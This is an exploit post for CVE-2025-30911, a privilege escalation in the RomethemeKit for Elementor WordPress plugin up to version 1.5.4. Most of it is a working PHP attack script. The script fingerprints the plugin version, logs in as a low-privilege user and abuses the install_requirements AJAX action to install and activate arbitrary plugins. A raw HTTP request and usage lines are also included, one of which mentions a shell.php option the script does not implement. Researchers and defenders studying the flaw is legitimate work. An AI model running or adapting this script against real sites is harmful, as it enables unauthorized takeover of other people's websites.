📄 WordPress RomethemeKit for Elementor 1.5.4 Privilege Escalation

=============================================================================================================================================
    | # Title     : WordPress RomethemeKit for Elementor 1.5.4 Unauthorized Privilege Escalation                                                |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://wordpress.org/plugins/rometheme-for-elementor/                                                                      |
    =============================================================================================================================================
    
    POC : 
    
    [+] References : https://packetstorm.news/files/id/190274/ & CVE-2025-30911 
    
    [+] Summary
    
        A security vulnerability in the Rometheme for Elementor WordPress content management plugin allows registered users with limited privileges 
    	(such as subscribers) to install and activate WordPress plugins without authorization.
    
    [+] Technical Details
    
    ### Affected Versions
    
    - **Plugin**: Rometheme for Elementor
    - **Affected Versions**: 1.5.4 and earlier
    - **Patched Versions**: 1.5.5 and above
    
    [+] Exploitation Mechanism
    
    ```http
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Host: example.com
    Content-Type: application/x-www-form-urlencoded
    
    action=install_requirements&plugin=hello-dolly/hello.php
    
    [+] Usage: php poc.php -u http://target.com/ [-f shell.php]
    
    [+] POC :
    
    <?php
    
    // By indoushka
    // CVE-2025-30911 Exploit in PHP
    
    class WordPressExploit {
        private $base_url;
        private $username;
        private $password;
        private $plugin;
        private $cookie_file;
        
        public function __construct($url, $username, $password, $plugin = "hello-dolly/hello.php") {
            $this->base_url = rtrim($url, '/');
            $this->username = $username;
            $this->password = $password;
            $this->plugin = $plugin;
            $this->cookie_file = tempnam(sys_get_temp_dir(), 'wp_cookie_');
        }
        
        public function checkVulnerableVersion() {
            $readme_url = $this->base_url . "/wp-content/plugins/rometheme-for-elementor/readme.txt";
            
            try {
                $response = $this->httpRequest($readme_url);
                
                if ($response['status_code'] == 200) {
                    if (preg_match('/Stable tag:\s*([\d.]+)/', $response['body'], $matches)) {
                        $version = $matches[1];
                        
                        if (version_compare($version, '1.5.4', '<=')) {
                            echo "[+] Vulnerable version detected (<= 1.5.4). Proceeding with exploitation...\n";
                            sleep(3);
                            return true;
                        } else {
                            echo "[-] Plugin version is patched or not vulnerable.\n";
                        }
                    } else {
                        echo "[-] Unable to determine plugin version from readme.txt.\n";
                    }
                } else {
                    echo "[-] readme.txt not found. Plugin may not be installed.\n";
                }
            } catch (Exception $e) {
                echo "[-] Error checking plugin version: " . $e->getMessage() . "\n";
            }
            
            return false;
        }
        
        public function login() {
            $login_url = $this->base_url . "/wp-login.php";
            $login_data = [
                "log" => $this->username,
                "pwd" => $this->password,
                "rememberme" => "forever",
                "wp-submit" => "Log In"
            ];
            
            $response = $this->httpRequest($login_url, 'POST', $login_data, true);
            
            // Check if login was successful by looking for WordPress cookies
            if (preg_match('/wordpress_logged_in/', $response['headers'])) {
                echo "[+] Logged in successfully.\n";
                return true;
            } else {
                echo "[-] Login failed.\n";
                return false;
            }
        }
        
        public function exploitPluginInstall() {
            $ajax_url = $this->base_url . "/wp-admin/admin-ajax.php";
            $payload = [
                "action" => "install_requirements",
                "plugin" => $this->plugin
            ];
            
            echo "[*] Sending exploit to install and activate plugin: " . $this->plugin . "\n";
            
            $response = $this->httpRequest($ajax_url, 'POST', $payload, true);
            
            echo "[+] Server response:\n";
            echo $response['body'] . "\n";
        }
        
        private function httpRequest($url, $method = 'GET', $data = null, $use_cookies = false) {
            $ch = curl_init();
            
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_USERAGENT => $this->getUserAgent(),
                CURLOPT_HEADER => true,
                CURLOPT_TIMEOUT => 10
            ]);
            
            if ($use_cookies) {
                curl_setopt($ch, CURLOPT_COOKIEFILE, $this->cookie_file);
                curl_setopt($ch, CURLOPT_COOKIEJAR, $this->cookie_file);
            }
            
            if ($method === 'POST' && $data) {
                curl_setopt($ch, CURLOPT_POST, true);
                curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
            }
            
            $response = curl_exec($ch);
            $status_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
            
            curl_close($ch);
            
            $headers = substr($response, 0, $header_size);
            $body = substr($response, $header_size);
            
            return [
                'status_code' => $status_code,
                'headers' => $headers,
                'body' => $body
            ];
        }
        
        private function getUserAgent() {
            return "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36";
        }
        
        public function run() {
            echo "[*] Checking plugin version...\n";
            
            if ($this->checkVulnerableVersion()) {
                if ($this->login()) {
                    $this->exploitPluginInstall();
                }
            } else {
                echo "[-] Target does not appear to be vulnerable or plugin is not present.\n";
            }
            
            // Clean up cookie file
            if (file_exists($this->cookie_file)) {
                unlink($this->cookie_file);
            }
        }
        
        public function __destruct() {
            // Cleanup cookie file on destruction
            if (file_exists($this->cookie_file)) {
                unlink($this->cookie_file);
            }
        }
    }
    
    // Command line argument parsing
    if (php_sapi_name() === 'cli') {
        $options = getopt("u:un:p:pl:", ["url:", "username:", "password:", "plugin:"]);
        
        $url = $options['u'] ?? $options['url'] ?? null;
        $username = $options['un'] ?? $options['username'] ?? null;
        $password = $options['p'] ?? $options['password'] ?? null;
        $plugin = $options['pl'] ?? $options['plugin'] ?? "hello-dolly/hello.php";
        
        if (!$url || !$username || !$password) {
            echo "Usage: php exploit.php -u <url> -un <username> -p <password> [-pl <plugin>]\n";
            echo "Example: php exploit.php -u https://example.com -un admin -p password -pl hello-dolly/hello.php\n";
            exit(1);
        }
        
        $exploit = new WordPressExploit($url, $username, $password, $plugin);
        $exploit->run();
    } else {
        echo "This script is intended for command line use only.\n";
    }
    ?>
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================